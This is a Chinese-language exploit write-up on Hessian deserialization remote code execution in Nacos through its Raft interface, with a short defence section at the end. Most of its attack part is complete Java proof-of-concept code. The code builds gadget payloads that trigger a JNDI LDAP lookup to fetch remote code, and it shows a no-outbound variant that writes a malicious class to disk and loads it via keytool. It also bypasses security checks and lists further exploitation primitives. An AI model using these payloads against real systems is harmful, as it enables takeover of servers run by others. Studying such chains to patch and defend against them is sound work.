由 nacos 引出的 Hessian 反序列化利用
字数 2115 2025-08-05 08:19:51

Nacos Hessian 反序列化漏洞分析与利用

1. 背景与概述

本文详细分析由Nacos引出的Hessian反序列化漏洞利用技术。该漏洞主要涉及Nacos中使用的Raft协议实现和Hessian序列化机制,攻击者可以通过精心构造的序列化数据实现远程代码执行。

2. Raft协议基础

Raft协议是一种分布式一致性算法(共识算法),其特点包括:

  • 多个节点对某一个事件达成一致
  • 即使出现部分节点故障或网络延迟,仍能保证系统可用性
  • Nacos中实现了三个关键group,需要是leader节点才能执行操作

3. 反序列化触发路径

Nacos中反序列化的完整调用链:

  1. com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest接收raft请求
  2. 寻找leader节点(三个可选group)
  3. execute调用JRaftServer#applyOperation,将data封装为com.alipay.sofa.jraft.entity.Task
  4. Task提交到sofa-jraft框架处理(日志复制、超半数提交)
  5. 最终调用状态机的onApply方法
    • naming_instance_metadata -> InstanceMetadataProcessoronApply
  6. 要求message类型为WriteRequest
  7. 最终触发反序列化

注意:每次POC执行后节点会变成state_error状态,三个节点默认只能攻击三次。恢复方法:替换全新data并重启服务。

4. 出网利用链

4.1 核心Gadget

Rdn$RdnEntry#compareTo ->
    XString#equal ->
        MultiUIDefaults#toString ->
            UIDefaults#get ->
                UIDefaults#getFromHashTable ->
                    UIDefaults$LazyValue#createValue ->
                        SwingLazyValue#createValue ->
                            InitialContext#doLookup()

4.2 Hessian序列化限制与绕过

  • 默认不允许序列化非Serializable接口的类
  • 可通过设置SerializerFactory#_isAllowNonSerializabletrue绕过
  • 反序列化时使用MapDeserializerMultiUIDefaults不是public类会导致报错
  • 解决方案:使用sun.security.pkcs.PKCS9Attributes,其反序列化器为UnsafeDeserializer

4.3 完整Payload构造

public class HessianDemo {
    public static void main(String[] args) throws Exception {
        SwingLazyValue lazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue);
        PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
        Field f = p.getClass().getDeclaredField("attributes");
        f.setAccessible(true);
        f.set(p, uiDefaults);
        byte[] b = hserialize(p);
        hdeserialize(b);
    }

    // Hessian序列化方法
    public static <T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(os);
            output.getSerializerFactory().setAllowNonSerializable(true);
            output.writeObject(t);
            output.flushBuffer();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    // Hessian反序列化方法
    public static Object hdeserialize(byte[] data){
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            byte[] b = new byte[]{67};
            data = byteMerger(b, data);
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            Hessian2Input input = new Hessian2Input(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return result;
    }

    // 字节数组合并
    public static byte[] byteMerger(byte[] bt1, byte[] bt2){
        byte[] bt3 = new byte[bt1.length+bt2.length];
        System.arraycopy(bt1, 0, bt3, 0, bt1.length);
        System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
        return bt3;
    }
}

4.4 关键点解释

  1. 首字节67的作用

    • 触发expect方法,进而触发PKCS9AttributestoString方法
    • 正常writeObject流程中第一个字节也是67,这样有两个67才能触发expect
  2. PKCS9Attributes的toString调用链

    PKCS9Attributes#toString ->
         UIDefaults#get ->
             UIDefaults#getFromHashTable ->
                 UIDefaults$LazyValue#createValue ->
                     SwingLazyValue#createValue ->
                         InitialContext#doLookup()
    
  3. SwingLazyValue限制

    • 调用的方法必须是静态方法,因为invoke第一个参数传的是class类型
    • com.caucho.hessian.io.ClassFactory#isAllow黑名单限制

5. 高版本JDK利用

5.1 限制与绕过

  • 高版本需要设置com.sun.jndi.rmi.object.trustURLCodebase解除lookup限制
  • 但黑名单限制了java.lang.System的调用
  • 解决方案:利用Nacos的tomcat依赖,加载本地BeanFactory绕过高版本限制

5.2 不出网利用技术

利用链:

jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode -> writeClass
sun.security.tools.keytool.Main#main -> loadClass

5.2.1 写Class文件

// 使用jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode写入class文件
// 必须使用UIDefaults.ProxyLazyValue,否则加载不到DumpBytecode(nashorn.jar)
// SwingLazyValue只能加载rt.jar

5.2.2 加载Class文件

// 调用sun.security.tools.keytool.Main#main来loadClass

5.2.3 完整POC

WriteClass部分

public class HessianWriteClass {
    public static void main(String[] args) throws Exception {
        ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
        Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
        dest_dir.setAccessible(true);
        dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
        
        UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue(
            "jdk.nashorn.internal.codegen.DumpBytecode",
            "dumpBytecode",
            new Object[]{
                scriptEnvironment,
                getUnsafe().allocateInstance(DebugLogger.class),
                ToByte.toByte(),  // 恶意class字节码
                "RunCommand",
            }
        );
        
        // 设置acc为null绕过安全检查
        Field acc = lazyValue_2.getClass().getDeclaredField("acc");
        acc.setAccessible(true);
        acc.set(lazyValue_2, null);
        
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
        
        PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
        Field f = p.getClass().getDeclaredField("attributes");
        f.setAccessible(true);
        f.set(p, uiDefaults);
        
        byte[] b = hserialize(p);
        hdeserialize(b);
    }
    
    // 其他方法与前面示例相同
}

LoadClass部分

public class HessianLoadClass {
    public static void main(String[] args) throws Exception {
        ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
        Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
        dest_dir.setAccessible(true);
        dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
        
        UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue(
            "sun.security.tools.keytool.Main",
            "main",
            new Object[]{
                new String[]{
                    "-genkeypair",
                    "-keypass", "123456",
                    "-keystore", "test",
                    "-storepass", "123456",
                    "-providername", "test",
                    "-providerclass", "RunCommand",  // 加载恶意类
                    "-providerpath", System.getProperty("java.io.tmpdir")
                }
            }
        );
        
        // 设置acc为null绕过安全检查
        Field acc = lazyValue_2.getClass().getDeclaredField("acc");
        acc.setAccessible(true);
        acc.set(lazyValue_2, null);
        
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
        
        PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
        Field f = p.getClass().getDeclaredField("attributes");
        f.setAccessible(true);
        f.set(p, uiDefaults);
        
        byte[] b = hserialize(p);
        hdeserialize(b);
    }
    
    // 其他方法与前面示例相同
}

6. 其他利用技术

  1. JDK <8u251:

    • 使用com.sun.org.apache.bcel.internal.util.JavaWrapper#_main加载bcel
  2. 无黑名单情况:

    • 调用sun.reflect.misc.MethodUtil#invoke,传入实例化的类调用exec()
  3. 动态链接库加载:

    • jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode写动态链接库
    • 结合System.load加载
  4. 其他利用点:

    • sun.tools.jar.Main.main
    • System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm
    • com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename写文件

7. 防御建议

  1. 升级Nacos到最新安全版本
  2. 限制Hessian反序列化的类白名单
  3. 监控和限制Raft协议的异常请求
  4. 在高版本JDK环境下运行
  5. 实施网络隔离,限制Nacos集群的访问权限

8. 总结

本文详细分析了Nacos中Hessian反序列化漏洞的利用技术,包括出网和不出网的多种利用方式,以及针对不同JDK版本的绕过技术。理解这些技术有助于安全研究人员更好地防御此类漏洞,同时也提醒开发者在实现分布式系统时需要注意序列化安全问题。

Nacos Hessian 反序列化漏洞分析与利用 1. 背景与概述 本文详细分析由Nacos引出的Hessian反序列化漏洞利用技术。该漏洞主要涉及Nacos中使用的Raft协议实现和Hessian序列化机制,攻击者可以通过精心构造的序列化数据实现远程代码执行。 2. Raft协议基础 Raft协议是一种分布式一致性算法(共识算法),其特点包括: 多个节点对某一个事件达成一致 即使出现部分节点故障或网络延迟,仍能保证系统可用性 Nacos中实现了三个关键group,需要是leader节点才能执行操作 3. 反序列化触发路径 Nacos中反序列化的完整调用链: com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest 接收raft请求 寻找leader节点(三个可选group) execute 调用 JRaftServer#applyOperation ,将data封装为 com.alipay.sofa.jraft.entity.Task Task提交到sofa-jraft框架处理(日志复制、超半数提交) 最终调用状态机的 onApply 方法 naming_instance_metadata -> InstanceMetadataProcessor 的 onApply 要求message类型为 WriteRequest 最终触发反序列化 注意 :每次POC执行后节点会变成 state_error 状态,三个节点默认只能攻击三次。恢复方法:替换全新data并重启服务。 4. 出网利用链 4.1 核心Gadget 4.2 Hessian序列化限制与绕过 默认不允许序列化非 Serializable 接口的类 可通过设置 SerializerFactory#_isAllowNonSerializable 为 true 绕过 反序列化时使用 MapDeserializer , MultiUIDefaults 不是public类会导致报错 解决方案:使用 sun.security.pkcs.PKCS9Attributes ,其反序列化器为 UnsafeDeserializer 4.3 完整Payload构造 4.4 关键点解释 首字节67的作用 : 触发 expect 方法,进而触发 PKCS9Attributes 的 toString 方法 正常 writeObject 流程中第一个字节也是67,这样有两个67才能触发 expect PKCS9Attributes的toString调用链 : SwingLazyValue限制 : 调用的方法必须是静态方法,因为 invoke 第一个参数传的是class类型 受 com.caucho.hessian.io.ClassFactory#isAllow 黑名单限制 5. 高版本JDK利用 5.1 限制与绕过 高版本需要设置 com.sun.jndi.rmi.object.trustURLCodebase 解除lookup限制 但黑名单限制了 java.lang.System 的调用 解决方案:利用Nacos的tomcat依赖,加载本地 BeanFactory 绕过高版本限制 5.2 不出网利用技术 利用链: 5.2.1 写Class文件 5.2.2 加载Class文件 5.2.3 完整POC WriteClass部分 : LoadClass部分 : 6. 其他利用技术 JDK <8u251 : 使用 com.sun.org.apache.bcel.internal.util.JavaWrapper#_main 加载bcel 无黑名单情况 : 调用 sun.reflect.misc.MethodUtil#invoke ,传入实例化的类调用 exec() 动态链接库加载 : jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode 写动态链接库 结合 System.load 加载 其他利用点 : sun.tools.jar.Main.main System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename 写文件 7. 防御建议 升级Nacos到最新安全版本 限制Hessian反序列化的类白名单 监控和限制Raft协议的异常请求 在高版本JDK环境下运行 实施网络隔离,限制Nacos集群的访问权限 8. 总结 本文详细分析了Nacos中Hessian反序列化漏洞的利用技术,包括出网和不出网的多种利用方式,以及针对不同JDK版本的绕过技术。理解这些技术有助于安全研究人员更好地防御此类漏洞,同时也提醒开发者在实现分布式系统时需要注意序列化安全问题。